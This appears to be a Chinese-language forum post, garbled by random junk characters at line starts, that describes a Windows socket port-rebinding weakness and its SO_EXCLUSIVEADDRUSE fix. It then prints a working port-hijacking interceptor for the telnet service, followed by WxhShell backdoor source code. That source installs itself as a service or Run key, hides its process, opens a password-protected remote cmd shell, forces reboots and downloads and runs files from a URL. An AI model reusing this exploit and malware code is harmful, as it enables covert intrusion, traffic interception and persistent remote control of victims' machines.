在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q1lyj7c#x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
V_)-#=J HGl|-nW> saddr.sin_family = AF_INET;
TbMW|0 #w \a<wKTkn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hy9\57_# 1l9G[o
* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Oz.HH EX*HiZU> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4a&RYx 2bz2KB5> 这意味着什么?意味着可以进行如下的攻击:
//B&k`u -$\y_?} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
J@`1TU mb1FWy=3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
aI'&O^w+ >[)7U _|p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A]*}HZ, 'z8pzMmT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)w em|:H zE*li`@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=&6eM2>P JhYe6y[q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Z<oaK *9
{PEx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b\f
O8{k #x@$lc=k3 #include
UJUEYG #include
KV91)U #include
\eTwXe]Pv #include
Fk7?xc DWORD WINAPI ClientThread(LPVOID lpParam);
"> ypIR< int main()
.Cv6kgB@c {
8H[<X_/ke WORD wVersionRequested;
Y+pHd\$-4 DWORD ret;
TT%M'5& WSADATA wsaData;
_IMW{ BOOL val;
e
v}S+!|U SOCKADDR_IN saddr;
+ SzU SOCKADDR_IN scaddr;
3qgS&js 7 int err;
uuEV_ "X SOCKET s;
6dQ-HI*Y# SOCKET sc;
a9e>iU int caddsize;
{'flJ5] HANDLE mt;
je\Ph5 " DWORD tid;
W<{h,j8 wVersionRequested = MAKEWORD( 2, 2 );
|o"?gB}Dh err = WSAStartup( wVersionRequested, &wsaData );
2F;y;l% if ( err != 0 ) {
E#34Wh2z printf("error!WSAStartup failed!\n");
JBj]najN return -1;
xh-o}8*n" }
z9f-.72"X saddr.sin_family = AF_INET;
/A\8 mL8 'd0~!w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BkAm/R pp?D7S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m[osg< CR_ saddr.sin_port = htons(23);
@)F )S7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eSn+ B;
{
Vsr.=Nd= printf("error!socket failed!\n");
1NFsb-<u return -1;
J6"9v;V }
-]Bq|qTH[( val = TRUE;
> tS'Q`R //SO_REUSEADDR选项就是可以实现端口重绑定的
d7^}tM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E)&I@m {
iO{hA printf("error!setsockopt failed!\n");
'ycJMYP8 return -1;
Ep_HcX` }
OG~gFZr)6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u2I*-K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r+!YIk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\<h0Q,e -/B+T>[nTb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z3e| UAif {
uh_RGM& ret=GetLastError();
*tFHM &a printf("error!bind failed!\n");
"s-"<&>a( return -1;
a~`eQ_ND }
k8yEdi` listen(s,2);
Eh`7X=Z7E while(1)
Ufj`euY {
.~db4d] caddsize = sizeof(scaddr);
KM0ru //接受连接请求
'c&Ed sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T.F!+ if(sc!=INVALID_SOCKET)
QhFVxCA {
"9uKtQS0o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3yme1Mb if(mt==NULL)
yF:1( 4 {
0JS?; fk printf("Thread Creat Failed!\n");
t,Lrfv]) break;
udH7}K v }
E`JI>7 }
234p9A@ CloseHandle(mt);
LrfVh-}|:Y }
1nM
#kJ" closesocket(s);
<{p4V|: WSACleanup();
4KAZ ': return 0;
;}WeTA_-[ }
mUC)gA/ DWORD WINAPI ClientThread(LPVOID lpParam)
PQt")[ {
Mt|zyXyzX SOCKET ss = (SOCKET)lpParam;
SGRp3,1\4% SOCKET sc;
Jrf=@m\dk unsigned char buf[4096];
KkyVSoD\ SOCKADDR_IN saddr;
}Bh8=F3O
Q long num;
Y Uc+0 DWORD val;
pad*oPH, DWORD ret;
s+Pq&<nV- //如果是隐藏端口应用的话,可以在此处加一些判断
"^[ 'y7i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bP#:Oi0v` saddr.sin_family = AF_INET;
9=M$AB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;+_:,_ saddr.sin_port = htons(23);
YqD=>P[O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^e5=hH-% {
|i*37r6]= printf("error!socket failed!\n");
u#fM_>ML return -1;
/62!cp/F/D }
P5V}#;v val = 100;
6wRd<]C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K3&qq[8.e {
c):/!Q ret = GetLastError();
539>WyG5 return -1;
Es`Px_k }
DK~xrU' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~Cttzn]pR {
(x|T+c"bAX ret = GetLastError();
G>=*yqo
return -1;
octL"t8w }
bs&43Ae if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
bj^5yX;2 {
?81c 4w printf("error!socket connect failed!\n");
@{e}4s?7od closesocket(sc);
]q[D>6_ closesocket(ss);
i"FtcP^ return -1;
zk+9'r`-D }
{z|)Njhg while(1)
,ng Cv;s {
S?LQu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2.y-48Nz //如果是嗅探内容的话,可以再此处进行内容分析和记录
dQX6(Jj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
QL/(72K num = recv(ss,buf,4096,0);
jd"@t*ZV if(num>0)
cZ*@$%_ send(sc,buf,num,0);
O\tb R= else if(num==0)
xH,a=8&9 break;
7z,C}-q num = recv(sc,buf,4096,0);
G_tCmu\ if(num>0)
nW:C/{n2tG send(ss,buf,num,0);
!F-w3
] else if(num==0)
[DOckf oZx break;
'oVx#w^mf }
n&/
` closesocket(ss);
On?v|10r' closesocket(sc);
l&zilVVm return 0 ;
>|=ts }
H41?/U,{ 6_;icpN] Qel9G($= ==========================================================
hZ,_6mNg I
34>X`[o 下边附上一个代码,,WXhSHELL
a-tmq]]E |-ALklXr ==========================================================
Rv>-4@fMJ t}4,]ms #include "stdafx.h"
W@IQ^
}E ,qwuLBW #include <stdio.h>
Dy&i&5E.-l #include <string.h>
= svN#q5s #include <windows.h>
q<<v,ihh #include <winsock2.h>
wJqMa9| #include <winsvc.h>
o/)h"i0P #include <urlmon.h>
>'$Mp < Y@iS_lR #pragma comment (lib, "Ws2_32.lib")
.Hm>i #pragma comment (lib, "urlmon.lib")
>:!5*E5? /N.b%M]! #define MAX_USER 100 // 最大客户端连接数
M_f:A #define BUF_SOCK 200 // sock buffer
S hWJ72c #define KEY_BUFF 255 // 输入 buffer
^76]0`gS re<{
> #define REBOOT 0 // 重启
="H%6S4' #define SHUTDOWN 1 // 关机
|Ez>J+uye( B[Scr5| #define DEF_PORT 5000 // 监听端口
P+sW[: 3?yg\ #define REG_LEN 16 // 注册表键长度
(CL%>5V #define SVC_LEN 80 // NT服务名长度
l'qg8 D_7,m%Z: // 从dll定义API
T-L||yE,h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
vr l-$ii typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X?',n
1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}.(B}/$u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bJ%h53 3"e,qY // wxhshell配置信息
|df Pki{ struct WSCFG {
xo&_bMO int ws_port; // 监听端口
<lPG=Xt char ws_passstr[REG_LEN]; // 口令
_H%c;z+ int ws_autoins; // 安装标记, 1=yes 0=no
B 3I`40# char ws_regname[REG_LEN]; // 注册表键名
HC8e>kP9b char ws_svcname[REG_LEN]; // 服务名
'<<t]kK[N char ws_svcdisp[SVC_LEN]; // 服务显示名
L*+@>3mu) char ws_svcdesc[SVC_LEN]; // 服务描述信息
ITBE|b char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p
l0\2e) int ws_downexe; // 下载执行标记, 1=yes 0=no
3$R1ipb char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e !Y~Qy char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!pW0qX\1n T^KKy0ZGM };
59A}}.@?m )akoa,#%6c // default Wxhshell configuration
LL!Dx%JZ struct WSCFG wscfg={DEF_PORT,
8<.Oq4ku "xuhuanlingzhe",
Il'fL'3 1,
t*u:hex "Wxhshell",
+6\Zj) "Wxhshell",
n\53w h@+ "WxhShell Service",
W!(zT6# "Wrsky Windows CmdShell Service",
Q%G8U#Tm "Please Input Your Password: ",
2ilQXy 1,
vE?G7%, "
http://www.wrsky.com/wxhshell.exe",
aFYIM`?( "Wxhshell.exe"
u6agoK|^9 };
h]gp ^?= n>YKa)|W` // 消息定义模块
NLqzi%s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a=2%4Wmz char *msg_ws_prompt="\n\r? for help\n\r#>";
PZ9I`P!C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
tsjrRMR char *msg_ws_ext="\n\rExit.";
`;C V=,M char *msg_ws_end="\n\rQuit.";
,O(hMI85] char *msg_ws_boot="\n\rReboot...";
bG#>uE J- char *msg_ws_poff="\n\rShutdown...";
5j(k:a+!H char *msg_ws_down="\n\rSave to ";
~>|ziHx .q>iXE_c char *msg_ws_err="\n\rErr!";
Lf&kv7Wj char *msg_ws_ok="\n\rOK!";
bAMdI 5Zk? +e``OeXog char ExeFile[MAX_PATH];
L,!?Nt\ int nUser = 0;
GTd,n= HANDLE handles[MAX_USER];
#6= int OsIsNt;
rILYI;'o lf,5w SERVICE_STATUS serviceStatus;
ms]sD3z/W+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
y6a3tG 0 H:X3y+ // 函数声明
WsB ?C&>x int Install(void);
U xGApK=X int Uninstall(void);
>[#f\bG> int DownloadFile(char *sURL, SOCKET wsh);
[(lW^- int Boot(int flag);
M= (u]%\ void HideProc(void);
!Uo4,g6r+ int GetOsVer(void);
$UwCMPs X int Wxhshell(SOCKET wsl);
Dd|VMW= void TalkWithClient(void *cs);
2^7`mES int CmdShell(SOCKET sock);
h376Be{P int StartFromService(void);
<hyKu
int StartWxhshell(LPSTR lpCmdLine);
/{I$ #:M 2,b$7xaf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%N._w!N<5n VOID WINAPI NTServiceHandler( DWORD fdwControl );
6gDN`e,@ L4W5EO$ // 数据结构和表定义
z$sT !QL~ SERVICE_TABLE_ENTRY DispatchTable[] =
9 68Ez
{
Pq$n5fZC! {wscfg.ws_svcname, NTServiceMain},
1% ` Rs
{NULL, NULL}
e0 ecD3 };
5 qA' |G<|F`Cj // 自我安装
ccxNbU int Install(void)
0y\Z9+G: {
i%?* @uj char svExeFile[MAX_PATH];
*;FdD{+ HKEY key;
}GM'.yutX strcpy(svExeFile,ExeFile);
(ZlU^Gw#UB z1a7*)8P // 如果是win9x系统,修改注册表设为自启动
-9?]IIVb if(!OsIsNt) {
%hP^%'G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d'> x(Yi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QJ;2ZN, RegCloseKey(key);
c+ie8Q! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ueNS='+m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*un^u-; RegCloseKey(key);
c71y'hnT return 0;
!4!~Lk= }
bN.Pex }
-{vD:Il=6 }
kJR`:J3DJ else {
2~V*5~fb lB4WKn=?Kl // 如果是NT以上系统,安装为系统服务
6S#Cl>v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7yQ4*UB if (schSCManager!=0)
Lw,h+@0 {
M6TD"- SC_HANDLE schService = CreateService
/-s6<e! (
|s_GlJV. schSCManager,
E{(;@PzE wscfg.ws_svcname,
a+QpM*n7Lq wscfg.ws_svcdisp,
\U_@S. SERVICE_ALL_ACCESS,
+ZV5o&V> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W,u:gzmhw SERVICE_AUTO_START,
]M3yLYK/P SERVICE_ERROR_NORMAL,
W+*
V)tf svExeFile,
O6Y0XL NULL,
rC5O")I< NULL,
An@t?#4gxi NULL,
!R$`+wZ62 NULL,
F'Z,]b'st3 NULL
7:@'B| );
Bw
yx c if (schService!=0)
]$hBMuUa {
*1"+%Z^ CloseServiceHandle(schService);
8Fub<UhJ CloseServiceHandle(schSCManager);
dN6?c'iN?2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/wv0i3_e
strcat(svExeFile,wscfg.ws_svcname);
lquLT6] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vQ.R{!",> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P<-@h1p, RegCloseKey(key);
!x)R=Z/C return 0;
Q{/Ef[(a@ }
QGz|*] }
*WZA9G#V5 CloseServiceHandle(schSCManager);
!IR6
,A\ }
zm# ?W }
^rz_f{c]- -g<oS9 return 1;
IGgL7^MF }
~M$Wd2Th }B^tL$k // 自我卸载
_v:SP
L U int Uninstall(void)
6~+emlD {
|[lKY+26:{ HKEY key;
AFn7uW!9Gw HKe K<V if(!OsIsNt) {
BLFdHB.$T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8,|k ao: RegDeleteValue(key,wscfg.ws_regname);
I 6O RegCloseKey(key);
bMBLXk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d 'ifLQ\ RegDeleteValue(key,wscfg.ws_regname);
1H9!5=Ff RegCloseKey(key);
z!\*Y
=e return 0;
r|Z{-*` }
3XKf!P }
k{0o9, }
ipz5 H* else {
!~Z"9(v'C 9u_Pj2%56. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8EY:tzw if (schSCManager!=0)
^sZ,2,^ {
vD4*&|8T# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5R7DDJk if (schService!=0)
(5~h"s {
1x^GWtRp if(DeleteService(schService)!=0) {
!m$jk2< CloseServiceHandle(schService);
,,TnIouy CloseServiceHandle(schSCManager);
qP;OaM
CX return 0;
W3RT{\ }
]'S^] CloseServiceHandle(schService);
6B-16 }
t,'<gI CloseServiceHandle(schSCManager);
h];I{crh }
2SLU:=<3 }
X?Au/ .^.z2
e return 1;
Ca\6vR }
w
= KPT''! jdBLsy@ // 从指定url下载文件
4P0}+ int DownloadFile(char *sURL, SOCKET wsh)
\v/[6&|X0s {
^}r1;W?n HRESULT hr;
r*Xuj= char seps[]= "/";
KlqY@Xt char *token;
F}zDfY\- char *file;
~s{$WL& char myURL[MAX_PATH];
r
:dTz char myFILE[MAX_PATH];
1&2>LE/P m kexc~l strcpy(myURL,sURL);
cNH7C"@GVu token=strtok(myURL,seps);
;Qq\DFe.w while(token!=NULL)
`{Ul! {
c9Yrw^ file=token;
j<x_ &1 token=strtok(NULL,seps);
(#'>(t(4 }
;PH~<T Z{R> GetCurrentDirectory(MAX_PATH,myFILE);
BuwY3F\-O strcat(myFILE, "\\");
4R*,VR.K strcat(myFILE, file);
u&NV,6Fj2[ send(wsh,myFILE,strlen(myFILE),0);
n| ;Im&, send(wsh,"...",3,0);
f5r0\7y0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
% `3jL7| if(hr==S_OK)
wj+*E6o-n return 0;
ZW}_DT0 else
O84i;S+-p return 1;
A's{j7 v1[29t<I! }
:r[`.` `]X>V, // 系统电源模块
vbNBLCwug int Boot(int flag)
JO;Uus{? {
6pzSp HANDLE hToken;
s CRdtP TOKEN_PRIVILEGES tkp;
OH88n69 Z7#+pPt! if(OsIsNt) {
99S^f:t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
dscgj5b1~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
P%6~&woF tkp.PrivilegeCount = 1;
:
'c&,oLY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xmG<]WF>E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
G#CXs:1pd+ if(flag==REBOOT) {
liZxBs
:%i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?0SEMmp`H return 0;
#?E"x/$Y6 }
(=$x.1 else {
R2; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1,~D4lD| return 0;
y^k$Us }
KP"+e:a% }
Rv=YFo[B else {
;,TFr}p` if(flag==REBOOT) {
\8
":]EU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Tk>#G{Wb- return 0;
@oNXZRg6 }
0erNc'e else {
U(Zq= M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
pI[uUu7O return 0;
phK/ }
d1*<Ll9K }
ebq4g387X nNm`Hfi return 1;
),)lzN%! }
<GJbmRc| m[$_7a5 // win9x进程隐藏模块
Bwrx *J void HideProc(void)
/{[o~:'p {
mR~&)QBP. : +u]S2u{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&L:!VL{I if ( hKernel != NULL )
GVz6-T~\> {
Zc yc*{DS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?5p>BER? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i?/qY&~ FreeLibrary(hKernel);
*I+Q~4 }
b'g ) ,I9bNO,%JK return;
BWNi [^] }
lFkR=!?= 7,MR*TO, // 获取操作系统版本
CAlCDfKW} int GetOsVer(void)
us.~G {
+_`7G^U?% OSVERSIONINFO winfo;
vIvIfE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Y@v>FlqI{ GetVersionEx(&winfo);
YQ}o?Q$z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Fcx&hj1gQ return 1;
}qUX=s
GG else
$j~RWfw- return 0;
3'Rx=G' }
I'Hf{Erw g7|@ // 客户端句柄模块
uNyVf7u int Wxhshell(SOCKET wsl)
ni<(K
0~ {
%xW"!WbJ| SOCKET wsh;
YR70BOxK struct sockaddr_in client;
>_TZ'FT DWORD myID;
vI?, 47Hj+ [7-?7mp!B while(nUser<MAX_USER)
h;Qk@F {
sT.ss$HY9, int nSize=sizeof(client);
TvM~y\s wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
2eogY# if(wsh==INVALID_SOCKET) return 1;
:3PH8TL 46x'I( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yauvXosX if(handles[nUser]==0)
LD?sh"?b closesocket(wsh);
@iiT< else
_aphkeqd nUser++;
xk5]^yDp }
jdN`mosJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YUb_y^B^ T|$H#n} return 0;
*a)n62 }
mv><HqDL1 TC('H[
] // 关闭 socket
#mT"gs void CloseIt(SOCKET wsh)
`^vE9nW7 {
sKWfXCd closesocket(wsh);
z}<^jgJ nUser--;
Sz~OX6L ExitThread(0);
PnTu }
+q4O D$} [^)g%|W // 客户端请求句柄
OI*H,Z" void TalkWithClient(void *cs)
wkq 66? {
.}t
e>]A* 9$t(&z= SOCKET wsh=(SOCKET)cs;
GdwVtqbX char pwd[SVC_LEN];
e.C)jv6qr char cmd[KEY_BUFF];
x2EUr,7 char chr[1];
hxx.9x>ow int i,j;
K9[UB H}!r|nG while (nUser < MAX_USER) {
' QG?nu 7pd$\$ if(wscfg.ws_passstr) {
txpgO1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K'bP@y_cq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z;i:]( //ZeroMemory(pwd,KEY_BUFF);
w]H->B29C i=0;
sK{e*[I>W while(i<SVC_LEN) {
9x8fhAy}4 Q8NX)R // 设置超时
QZs!{sZ fd_set FdRead;
4Ig;3 ^%71 struct timeval TimeOut;
7/H)Az@i45 FD_ZERO(&FdRead);
uH]OEz\H' FD_SET(wsh,&FdRead);
_w{Qtj~s| TimeOut.tv_sec=8;
KXy6Eno TimeOut.tv_usec=0;
$`c:& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j.Hf/vi`z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+0&/g&a\R eDMO]5}Ht if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]lbuy7xj63 pwd
=chr[0]; }6#
if(chr[0]==0xd || chr[0]==0xa) { 1^}+=~
pwd=0; g(052]
break; hrn+UL:d
} P?\6@_ Z
i++; @- xjfC\d
} ]'}L 1r
)UR7i8]!0
// 如果是非法用户,关闭 socket QY/w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zdYjF|
} r"
y.KD^
2:kH[#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ie_wHcM<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +R &gqja
uph(V
while(1) { *T/']t
Wc#24:OKe3
ZeroMemory(cmd,KEY_BUFF); +2{Lh7Ks
6t$8M[0-U
// 自动支持客户端 telnet标准 khe}*y
j=0; u[YGm:}
while(j<KEY_BUFF) { L_T5nD^D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UVP vOtZj
cmd[j]=chr[0]; UfGkTwoo=
if(chr[0]==0xa || chr[0]==0xd) { 29KiuP
cmd[j]=0; fex@,I&
break; 3n _htgcv
} siI;"?
j++; {.yB'.k?
} {mg2pfhB!
M >u_4AY
// 下载文件 QV!up^Zso
if(strstr(cmd,"http://")) { 2ESo2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]DcFySyv
if(DownloadFile(cmd,wsh)) HtFDlvdy]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Yq9P0Ya
else iMlWM-wz>O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h0$iOE
} K-4PI+qQ\
else { S'" Df5
6Oq7#3]
switch(cmd[0]) { UNYqft4
CTb%(<r
// 帮助 ]G\}k
case '?': { AH^/V}9H
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w<#!h6Y=
break; +[VXs~I
q
} Psf#c:*_)
// 安装 kmW4:EA%
case 'i': { `3pW]&
if(Install()) 'DR!9De
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eFgA 8kY)
else 7dWS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,bi^P>X
break; R_C)
} _f83-':W6
// 卸载 ^('wy};
case 'r': { %EH)&k
if(Uninstall()) &~CI<\o P
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
];m_4
else LV Ge]lD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xvu(vA
break; tw;}jh
} 1Mzmg[L8
// 显示 wxhshell 所在路径 [JiH\+XLPs
case 'p': { f|5co>Hk
char svExeFile[MAX_PATH]; 7.Op<
strcpy(svExeFile,"\n\r"); <E~'.p,
strcat(svExeFile,ExeFile); X'srL j.
send(wsh,svExeFile,strlen(svExeFile),0); $FV NCFN%
break; ]^E?;1$f?
} la!~\wpa
// 重启 dPlV>IM$z
case 'b': { T)/eeZ$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FPz9N@M%Q
if(Boot(REBOOT)) o/E >f_k[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jcOcWB|
else { kP:!/g
closesocket(wsh); iS^QTuk3%
ExitThread(0); uRvP hkqm
} ';CNGv -
break; 0mE 0 j
} Ud?Q%)X
// 关机 ^qs $v06
case 'd': { t Q)qCk07
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _6Sp QW
if(Boot(SHUTDOWN)) B\~}3!j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJ^P(] dw
else { X?O[r3<
closesocket(wsh); @d'j zs
ExitThread(0); H_a[)DT
} zhQJy?>'m
break; 7!1S)dup
} 3]Ct6
// 获取shell (PLUFT
case 's': { ?<!|
CmdShell(wsh); oH@78D0A
closesocket(wsh); P.cyO3l
ExitThread(0); -?\D\\+t
break; @ArSC
} Jy)/%p~
// 退出 i!Ba]n
case 'x': { Gc?a +T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _BufO7`.
CloseIt(wsh); YK_7ip.a[
break; Rcuz(yS8
} 1MFbQs^
// 离开 x}4q {P5$
case 'q': { 9 hl_|r~%*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =X}J6|>X
closesocket(wsh); X|dlt{Gf
WSACleanup(); yi[x}ffdE
exit(1); Rq -ZL{LR7
break; -"x$ZnHU
} E.h*g8bXe
} 0GwR~Z}Z
} 43cE`9~
CIWO7bS
// 提示信息 !
nx{
X
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0GL M(JmK
} Gv&V|7-f0
} P \I|,
Pz7XAcPQ(
return; X$
D6Ey
} mFeP9MfJ
I%):1\)
// shell模块句柄 '/p4O2b,
int CmdShell(SOCKET sock) " bG2:
{ u8^lB7!e/
STARTUPINFO si;
7GGUV
ZeroMemory(&si,sizeof(si)); (Ld i|jL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iu{V,U
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k6^Z~5
Sy
PROCESS_INFORMATION ProcessInfo; btB%[]
char cmdline[]="cmd"; 9c],<;{'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 637:
oT_`O
return 0; ceA9){
} 'u658Tj
Om&Dw|xG8
// 自身启动模式 /Oono6j
int StartFromService(void) Ri'n
{ +ZYn? #IQ
typedef struct !D6]JPX
{ !-bB559Nv
DWORD ExitStatus; 2wn2.\v M
DWORD PebBaseAddress; `cO:<^%
DWORD AffinityMask; |Tw~@kT@
DWORD BasePriority; AA_%<zK
ULONG UniqueProcessId; 7)m9"InDI
